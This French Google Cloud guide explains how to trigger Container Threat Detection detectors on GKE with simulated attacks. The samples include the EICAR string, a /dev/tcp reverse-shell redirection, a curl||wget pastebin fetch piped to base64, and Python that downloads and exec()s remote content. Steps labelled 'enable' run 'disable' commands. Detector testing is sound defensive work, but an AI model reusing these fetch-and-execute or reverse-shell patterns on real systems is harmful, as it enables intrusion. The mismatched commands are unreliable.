Tester Container Threat Detection

Cette page explique comment vérifier que Container Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Container Threat Detection est un service intégré aux niveaux Premium et Enterprise de Security Command Center. Pour afficher les résultats de Container Threat Detection, celui-ci doit être activé dans les paramètres Services de Security Command Center.

Avant de commencer

Pour détecter les menaces potentielles pour vos conteneurs, vous devez vous assurer que vos clusters se trouvent dans une version compatible de Google Kubernetes Engine (GKE). Pour en savoir plus, consultez la section Utiliser une version de GKE compatible.

Activer les détecteurs

Les détecteurs Added Binary Executed et Added Library Loaded sont désactivés par défaut. Pour tester ces détecteurs, vous devez les activer explicitement:

  1. Vérifiez l'état du détecteur:

    export PROJECT=PROJECT_ID
    gcloud alpha scc settings services describe \
        --service=CONTAINER_THREAT_DETECTION \
        --project=${PROJECT}
    
  2. Activez le détecteur Added Binary Executed:

    gcloud alpha scc settings services modules disable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  3. Activez le détecteur Added Library Loaded:

    gcloud alpha scc settings services modules disable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    

Définir des variables d'environnement

Pour tester les détecteurs, vous devez utiliser Google Cloud Console et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Les variables suivantes sont utilisées pour tester tous les détecteurs Container Threat Detection.

  1. Accédez à Google Cloud Console.

    Accédez à Google Cloud Console.

  2. Sélectionnez le projet contenant le conteneur que vous souhaitez utiliser pour le test.

  3. Cliquez sur Activer Cloud Shell.

  4. Dans Cloud Shell, définissez des variables d'environnement.

    1. Zone dans laquelle se trouve votre cluster :

      export ZONE=CLUSTER_ZONE
      
    2. Le projet dans lequel se trouve votre conteneur :

      export PROJECT=PROJECT_ID
      
    3. Le nom de votre cluster :

      export CLUSTER_NAME=CLUSTER_NAME
      

Les variables sont définies. Les sections suivantes incluent des instructions concernant le test des détecteurs de Container Threat Detection.

Fichier binaire ajouté exécuté

Pour déclencher le résultat d'un fichier binaire ajouté exécuté, déposez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, puis l'exécute. L'exécution du fichier binaire est inattendue, car la copie de ce fichier ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Déposez un fichier binaire et exécutez-le :

    • Nœud x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • Nœud ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Cette procédure de test doit créer un fichier binaire supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats d'exécution de binaires ajoutés. Pour afficher tous les résultats de l'exécution du binaire ajouté lors de la configuration d'un conteneur, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Ajout de bibliothèque chargée

Pour déclencher le résultat d'une bibliothèque ajoutée chargée, déposez une bibliothèque dans votre conteneur et chargez-la. Cet exemple déploie la dernière image Ubuntu 24.04, copie /lib/x86_64-linux-gnu/libc.so.6 à un autre emplacement, puis la charge à l'aide de ld. La bibliothèque chargée est inattendue, car la copie de la bibliothèque ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Déposez une bibliothèque et utilisez ld pour la charger :

    • Nœud x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • Nœud ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Cette procédure de test doit créer une bibliothèque chargée supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats de bibliothèque ajoutée chargée. Pour afficher tous les résultats "Bibliothèque ajoutée chargée" lors de la configuration d'un conteneur, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: Fichier binaire malveillant ajouté exécuté

Pour déclencher un résultat d'exécution: fichier binaire malveillant ajouté exécuté, déposez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, crée un fichier malveillant simulé, puis l'exécute. L'exécution du fichier binaire est inattendue, car le fichier binaire malveillant simulé ne faisait pas partie de l'image de conteneur d'origine. De plus, il s'agit d'un fichier de test EICAR, classé comme malveillant par l'intelligence sur les menaces.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Déposez le binaire EICAR et exécutez-le:

    • Nœud x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • Nœud ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Cette procédure de test doit créer un résultat "Exécution: fichier binaire malveillant ajouté exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Exécution: Fichier binaire malveillant ajouté exécuté". Pour afficher tous les résultats "Exécution: fichier binaire malveillant ajouté exécuté" lorsqu'un conteneur est configuré, ajoutez ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: fuite du conteneur

Pour déclencher un résultat d'exécution: évasion de conteneur, placez un binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (botb-linux-amd64) et l'exécute avec des arguments supplémentaires. Cette action est considérée comme suspecte, car cette exécution simule un comportement cohérent avec une tentative d'évasion de conteneur.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Déposez un fichier binaire d'outil d'exploitation de conteneur tel que botb-linux-amd64 et exécutez-le:

    • Nœud x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • Nœud ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Cette procédure de test doit créer un résultat "Exécution: évasion de conteneur" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats "Exécution: Évasion de conteneur". Pour afficher tous les résultats de l'exécution: Évasion de conteneur pendant la configuration d'un conteneur, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: exécution de l'outil d'attaque Kubernetes

Pour déclencher un résultat "Exécution: exécution d'un outil d'attaque Kubernetes", placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (amicontained) et l'exécute. Cette action est considérée comme suspecte, car elle simule un comportement cohérent avec une tentative d'exécution d'un outil d'attaque Kubernetes.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Déposez un fichier binaire d'outil d'attaque Kubernetes tel que amicontained et exécutez-le:

    • Nœud x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • Nœud ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Cette procédure de test doit créer un résultat "Exécution: exécution d'un outil d'attaque Kubernetes" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats de l'exécution: exécution de l'outil d'attaque Kubernetes. Pour afficher tous les résultats d'exécution: exécution d'un outil d'attaque Kubernetes lors de la configuration d'un conteneur, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: exécution de l'outil de reconnaissance local

Pour déclencher un résultat d'exécution: exécution d'un outil de reconnaissance local, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (linenum.sh) et l'exécute. Cette action est considérée comme suspecte, car l'exécution du binaire renommé simule un comportement cohérent avec une tentative de reconnaissance locale.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Déposez un binaire d'outil de reconnaissance locale tel que linenum.sh et exécutez-le:

    • Nœud x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • Nœud ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Cette procédure de test doit créer un résultat "Exécution: exécution d'un outil de reconnaissance local" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats d'exécution: exécution de l'outil de reconnaissance local. Pour afficher tous les résultats de l'exécution: exécution de l'outil de reconnaissance local pendant la configuration d'un conteneur, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Execution: Malicious Python executed

Pour déclencher un résultat Execution: Malicious Python executed, vous pouvez exécuter Python dans la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Python, copie le code Python qui semble malveillant, puis l'exécute. Pour déclencher une détection, le code Python doit sembler malveillant pour le détecteur.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Exécutez le script suivant dans un nouveau conteneur.

    Ce code Python provient d'un piège à miel. Toutefois, il a été modifié pour qu'il n'exécute pas le binaire malveillant. L'exécution du script n'entraîne aucune activité malveillante dans votre conteneur. Le binaire de l'URL référencée n'existe pas, et toute tentative de suivi de l'URL génère une erreur 404. Ce comportement est normal. La tentative de téléchargement, de décodage et d'exécution d'un binaire à l'aide d'un script intégré déclenche la détection.

    • Nœud x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • Nœud ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Cette procédure de test crée un résultat Execution: Malicious Python executed que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution: fichier binaire malveillant modifié exécuté

Pour déclencher un résultat d'exécution: fichier binaire malveillant modifié exécuté, modifiez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, modifie /bin/ls en fichier malveillant de test EICAR, puis l'exécute. L'exécution du binaire est inattendue, car le /bin/ls créé est modifié lors de l'exécution du conteneur en tant que binaire malveillant de test EICAR, et le binaire EICAR est un fichier malveillant connu selon l'intelligence sur les menaces.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Déposez le binaire EICAR et exécutez-le:

    • Nœud x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      
    • Nœud ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      

Cette procédure de test doit créer un résultat "Exécution: fichier binaire malveillant modifié exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Exécution: fichier binaire malveillant modifié exécuté". Pour afficher tous les résultats "Exécution: fichier binaire malveillant modifié exécuté" lorsqu'un conteneur est configuré, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Script malveillant exécuté

Pour déclencher un résultat de script malveillant exécuté, vous pouvez exécuter le script dans la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Ubuntu 24.04, copie un script qui semble malveillant, puis l'exécute. Pour déclencher une détection, un script doit sembler malveillant pour le détecteur.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Exécutez le script suivant dans un nouveau conteneur.

    Ce script Bourne shell intégré provient d'un piège à miel. Toutefois, il a été modifié pour qu'il n'exécute pas le binaire malveillant. L'exécution du script n'entraîne donc aucune activité malveillante dans votre conteneur. Le binaire à l'URL référencée a peut-être été supprimé. Si vous essayez de suivre l'URL, une erreur 404 s'affiche. Ce comportement est normal. La tentative de téléchargement, de décodage et d'exécution d'un binaire à l'aide d'un script intégré déclenche la détection.

    • Nœud x86:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      
    • Nœud ARM:

      tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
      

Cette procédure de test crée un résultat de script malveillant exécuté que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

URL malveillante détectée

Pour déclencher un résultat "URL malveillante observée", exécutez un binaire et fournissez une URL malveillante en tant qu'argument.

L'exemple suivant déploie une image Ubuntu 24.04 et exécute /bin/curl pour accéder à un exemple d'URL de logiciel malveillant à partir du service Safe Browsing (Navigation sécurisée).

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Exécutez curl et fournissez une URL malveillante comme argument:

    • Nœud x86:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      
    • Nœud ARM:

      tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      url="https://testsafebrowsing.appspot.com/s/malware.html"
      kubectl run \
            --restart=Never \
            --rm=true -i \
            --image marketplace.gcr.io/google/ubuntu2404:latest \
            --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
            {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
            "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
            "value": "arm64" } ]}}' \
            "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"
      

Cette procédure de test déclenche un résultat "URL malveillante observée" que vous pouvez afficher dans Security Command Center et, si vous avez configuré la journalisation pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Interface système inversée

Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP. Cet exemple copie /bin/echo dans /tmp/sh, puis démarre /tmp/sh avec une redirection vers le DNS public de Google 8.8.8.8 sur le port DNS. Aucun élément n'est imprimé lorsque vous exécutez cet exemple. Pour empêcher toute injection de code externe via une attaque MITM ("man in the middle"), cet exemple n'utilise pas le binaire /bin/sh.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

    • Nœud x86:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      
    • Nœud ARM:

      tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
      

Cette procédure de test crée un résultat d'interface système inversée que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Shell enfant inattendu

Pour tester le détecteur Unexpected Child Shell, vous pouvez créer un arbre de processus qui inclut un processus shell enfant.

L'exemple suivant crée un arbre de processus consul->dash, qui peut être détecté par le détecteur Unexpected Child Shell. Ce test est sûr, car il n'utilise que des binaires intégrés. Cet exemple effectue les opérations suivantes :

  1. Crée une copie du processus sh et la nomme consul.
  2. Copiez le processus echo et nommez-le dash.
  3. Invoque le processus dash copié dans le processus consul copié.

Pour déclencher une analyse Unexpected Child Shell, procédez comme suit:

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Utilisez le processus consul fictif pour appeler un shell fictif:

    • Nœud x86:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu "$tag"
         --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      
    • Nœud ARM:

      tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -ti \
         --image ubuntu \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" --command -- /bin/sh -c \
            'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
            /tmp/consul -c "/tmp/sh child ran successfully & wait"'
      

Cette procédure de test crée un résultat Unexpected Child Shell que vous pouvez afficher dans Security Command Center. Si la journalisation est configurée pour Container Threat Detection et que vous avez activé Security Command Center Premium ou Enterprise au niveau de l'organisation, vous pouvez également afficher le résultat dans Cloud Logging.

Étape suivante